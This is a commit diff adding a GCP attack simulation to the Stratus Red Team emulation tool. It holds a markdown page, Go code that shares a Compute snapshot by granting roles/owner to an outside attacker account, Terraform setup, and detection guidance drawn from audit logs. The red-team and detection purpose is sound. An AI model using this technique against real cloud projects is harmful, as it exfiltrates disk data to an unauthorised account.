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GCP: Exfiltrates a Compute Disk by sharing a snapshot (#439)
* feat(GCP): Exfiltrates a Compute Disk by sharing a snapshot This is a slight variation of gcp.exfiltration.share-compute-disk where the snapshot is shared directly, instead of sharing the disk from which the attacker can take a snapshot. * fixup! feat(GCP): Exfiltrates a Compute Disk by sharing a snapshot * fixup! fixup! feat(GCP): Exfiltrates a Compute Disk by sharing a snapshot * terraform fmt * Avoid duplicating attack technique ID --------- Co-authored-by: Christophe Tafani-Dereeper <christophe.tafanidereeper@datadoghq.com>
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docs/attack-techniques/GCP/gcp.exfiltration.share-compute-snapshot.md
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| --- | ||
| title: Exfiltrate Compute Disk by sharing a snapshot | ||
| --- | ||
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| # Exfiltrate Compute Disk by sharing a snapshot | ||
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| <span class="smallcaps w3-badge w3-blue w3-round w3-text-white" title="This attack technique can be detonated multiple times">idempotent</span> | ||
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| Platform: GCP | ||
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| ## MITRE ATT&CK Tactics | ||
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| - Exfiltration | ||
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| ## Description | ||
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| Exfiltrates a Compute Disk by sharing a snapshot with a fictitious attacker account. | ||
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| <span style="font-variant: small-caps;">Warm-up</span>: | ||
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| - Create a Compute Disk and a Snapshot | ||
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| <span style="font-variant: small-caps;">Detonation</span>: | ||
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| - Set the IAM policy of the snapshot so that the attacker account has permissions to access it | ||
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| !!! note | ||
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| Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to stratusredteam@gmail.com by default. | ||
| This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override | ||
| this behavior by setting the environment variable <code>STRATUS_RED_TEAM_ATTACKER_EMAIL</code>, for instance: | ||
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| ```bash | ||
| export STRATUS_RED_TEAM_ATTACKER_EMAIL="your-own-gmail-account@gmail.com" | ||
| stratus detonate gcp.exfiltration.share-compute-snapshot | ||
| ``` | ||
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| ## Instructions | ||
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| ```bash title="Detonate with Stratus Red Team" | ||
| stratus detonate gcp.exfiltration.share-compute-snapshot | ||
| ``` | ||
| ## Detection | ||
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| You can detect when someone changes the IAM policy of a Compute Snapshot, using the GCP Admin Activity audit logs event <code>v1.compute.snapshots.setIamPolicy</code>. Here's a sample event, shortened for clarity: | ||
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| ```json hl_lines="18 20 25"" | ||
| { | ||
| "protoPayload": { | ||
| "@type": "type.googleapis.com/google.cloud.audit.AuditLog", | ||
| "authenticationInfo": { | ||
| "principalEmail": "user-sharing-the-snapshot@domain.tld", | ||
| "principalSubject": "user:user-sharing-the-snapshot@domain.tld" | ||
| }, | ||
| "requestMetadata": { | ||
| "callerIp": "34.33.32.31", | ||
| "callerSuppliedUserAgent": "google-cloud-sdk gcloud/..." | ||
| }, | ||
| "resourceName": "projects/victim-project/global/snapshots/stratus-red-team-victim-snapshot", | ||
| "request": { | ||
| "policy": { | ||
| "version": "3", | ||
| "bindings": [ | ||
| { | ||
| "role": "roles/owner", | ||
| "members": [ | ||
| "user:attacker@gmail.com" | ||
| ] | ||
| } | ||
| ] | ||
| }, | ||
| "@type": "type.googleapis.com/compute.snapshots.setIamPolicy" | ||
| } | ||
| } | ||
| } | ||
| ``` | ||
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| Based on these events, detection strategies may include: | ||
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| - Alerting when the IAM policy of a Compute Snapshot is changed, especially if such a sharing mechanism is not part of your normal operations. Sample GCP Logs Explorer query: | ||
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| ```sql | ||
| protoPayload.methodName="v1.compute.snapshots.setIamPolicy" | ||
| ``` | ||
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v2/internal/attacktechniques/gcp/exfiltration/share-compute-snapshot/main.go
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| package gcp | ||
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| import ( | ||
| compute "cloud.google.com/go/compute/apiv1" | ||
| "context" | ||
| computepb "google.golang.org/genproto/googleapis/cloud/compute/v1" | ||
| "log" | ||
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| _ "embed" | ||
| "fmt" | ||
| "github.com/datadog/stratus-red-team/v2/internal/providers" | ||
| gcp_utils "github.com/datadog/stratus-red-team/v2/internal/utils/gcp" | ||
| "github.com/datadog/stratus-red-team/v2/pkg/stratus" | ||
| "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" | ||
| ) | ||
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| //go:embed main.tf | ||
| var tf []byte | ||
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| const codeBlock = "```" | ||
| const AttackTechniqueId = "gcp.exfiltration.share-compute-snapshot" | ||
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| func init() { | ||
| stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ | ||
| ID: AttackTechniqueId, | ||
| FriendlyName: "Exfiltrate Compute Disk by sharing a snapshot", | ||
| Description: ` | ||
| Exfiltrates a Compute Disk by sharing a snapshot with a fictitious attacker account. | ||
| Warm-up: | ||
| - Create a Compute Disk and a Snapshot | ||
| Detonation: | ||
| - Set the IAM policy of the snapshot so that the attacker account has permissions to access it | ||
| !!! note | ||
| Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + gcp_utils.DefaultFictitiousAttackerEmail + ` by default. | ||
| This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override | ||
| this behavior by setting the environment variable <code>` + gcp_utils.AttackerEmailEnvVarKey + `</code>, for instance: | ||
| ` + codeBlock + `bash | ||
| export ` + gcp_utils.AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com" | ||
| stratus detonate ` + AttackTechniqueId + ` | ||
| ` + codeBlock + ` | ||
| `, | ||
| Detection: ` | ||
| You can detect when someone changes the IAM policy of a Compute Snapshot, using the GCP Admin Activity audit logs event <code>v1.compute.snapshots.setIamPolicy</code>. Here's a sample event, shortened for clarity: | ||
| ` + codeBlock + `json hl_lines="18 20 25"" | ||
| { | ||
| "protoPayload": { | ||
| "@type": "type.googleapis.com/google.cloud.audit.AuditLog", | ||
| "authenticationInfo": { | ||
| "principalEmail": "user-sharing-the-snapshot@domain.tld", | ||
| "principalSubject": "user:user-sharing-the-snapshot@domain.tld" | ||
| }, | ||
| "requestMetadata": { | ||
| "callerIp": "34.33.32.31", | ||
| "callerSuppliedUserAgent": "google-cloud-sdk gcloud/..." | ||
| }, | ||
| "resourceName": "projects/victim-project/global/snapshots/stratus-red-team-victim-snapshot", | ||
| "request": { | ||
| "policy": { | ||
| "version": "3", | ||
| "bindings": [ | ||
| { | ||
| "role": "roles/owner", | ||
| "members": [ | ||
| "user:attacker@gmail.com" | ||
| ] | ||
| } | ||
| ] | ||
| }, | ||
| "@type": "type.googleapis.com/compute.snapshots.setIamPolicy" | ||
| } | ||
| } | ||
| } | ||
| ` + codeBlock + ` | ||
| Based on these events, detection strategies may include: | ||
| - Alerting when the IAM policy of a Compute Snapshot is changed, especially if such a sharing mechanism is not part of your normal operations. Sample GCP Logs Explorer query: | ||
| ` + codeBlock + `sql | ||
| protoPayload.methodName="v1.compute.snapshots.setIamPolicy" | ||
| ` + codeBlock + ` | ||
| `, | ||
| Platform: stratus.GCP, | ||
| IsIdempotent: true, | ||
| MitreAttackTactics: []mitreattack.Tactic{mitreattack.Exfiltration}, | ||
| Detonate: detonate, | ||
| Revert: revert, | ||
| PrerequisitesTerraformCode: tf, | ||
| }) | ||
| } | ||
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| func detonate(params map[string]string, providers stratus.CloudProviders) error { | ||
| gcp := providers.GCP() | ||
| snapshotName := params["snapshot_name"] | ||
| attackerPrincipal := gcp_utils.GetAttackerPrincipal() | ||
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| log.Println("Exfiltrating " + snapshotName + " by sharing it with a fictitious attacker") | ||
| if err := shareSnapshot(context.Background(), gcp, snapshotName, attackerPrincipal); err != nil { | ||
| return fmt.Errorf("failed to share snapshot: %w", err) | ||
| } | ||
| log.Println("Successfully shared snapshot with a fictitious attacker account " + attackerPrincipal) | ||
| return nil | ||
| } | ||
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| func revert(params map[string]string, providers stratus.CloudProviders) error { | ||
| gcp := providers.GCP() | ||
| snapshotName := params["snapshot_name"] | ||
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| log.Println("Unsharing " + snapshotName) | ||
| if err := unshareSnapshot(context.Background(), gcp, snapshotName); err != nil { | ||
| return fmt.Errorf("unable to unshare snapshot: %w", err) | ||
| } | ||
| log.Println("Successfully unshared the snapshot - it is now private again") | ||
| return nil | ||
| } | ||
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| func shareSnapshot(ctx context.Context, gcp *providers.GCPProvider, snapshotName string, targetPrincipal string) error { | ||
| snapshotClient, err := compute.NewSnapshotsRESTClient(ctx, gcp.Options()) | ||
| if err != nil { | ||
| return fmt.Errorf("unable to create compute client: %w", err) | ||
| } | ||
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| roleName := "roles/owner" | ||
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| _, err = snapshotClient.SetIamPolicy(ctx, &computepb.SetIamPolicySnapshotRequest{ | ||
| Resource: snapshotName, | ||
| Project: gcp.GetProjectId(), | ||
| GlobalSetPolicyRequestResource: &computepb.GlobalSetPolicyRequest{ | ||
| Policy: &computepb.Policy{ | ||
| Bindings: []*computepb.Binding{ | ||
| { | ||
| Members: []string{targetPrincipal}, | ||
| Role: &roleName, | ||
| }, | ||
| }, | ||
| }, | ||
| }, | ||
| }) | ||
| if err != nil { | ||
| return fmt.Errorf("unable to set iam policy: %w", err) | ||
| } | ||
| return nil | ||
| } | ||
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| func unshareSnapshot(ctx context.Context, gcp *providers.GCPProvider, snapshotName string) error { | ||
| snapshotClient, err := compute.NewSnapshotsRESTClient(ctx, gcp.Options()) | ||
| if err != nil { | ||
| return fmt.Errorf("unable to create compute client: %w", err) | ||
| } | ||
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| _, err = snapshotClient.SetIamPolicy(ctx, &computepb.SetIamPolicySnapshotRequest{ | ||
| Resource: snapshotName, | ||
| Project: gcp.GetProjectId(), | ||
| GlobalSetPolicyRequestResource: &computepb.GlobalSetPolicyRequest{ | ||
| Policy: &computepb.Policy{ | ||
| Bindings: []*computepb.Binding{}, | ||
| }, | ||
| }, | ||
| }) | ||
| if err != nil { | ||
| return fmt.Errorf("unable to set iam policy: %w", err) | ||
| } | ||
| return nil | ||
| } |
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38
v2/internal/attacktechniques/gcp/exfiltration/share-compute-snapshot/main.tf
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| terraform { | ||
| required_providers { | ||
| google = { | ||
| source = "hashicorp/google" | ||
| version = "~> 4.28.0" | ||
| } | ||
| } | ||
| } | ||
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| locals { | ||
| disk-name = "stratus-red-team-victim-disk" | ||
| snapshot-name = "stratus-red-team-victim-snapshot" | ||
| zone = "us-central1-a" | ||
| } | ||
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| resource "google_compute_disk" "this" { | ||
| name = local.disk-name | ||
| size = 10 # minimum size is 10GB | ||
| zone = local.zone | ||
| } | ||
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| resource "google_compute_snapshot" "this" { | ||
| name = local.snapshot-name | ||
| source_disk = google_compute_disk.this.id | ||
| zone = local.zone | ||
| } | ||
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| output "snapshot_name" { | ||
| value = google_compute_snapshot.this.name | ||
| } | ||
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| output "zone" { | ||
| value = google_compute_disk.this.zone | ||
| } | ||
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| output "display" { | ||
| value = format("Compute snapshot %s is ready", google_compute_snapshot.this.name) | ||
| } |
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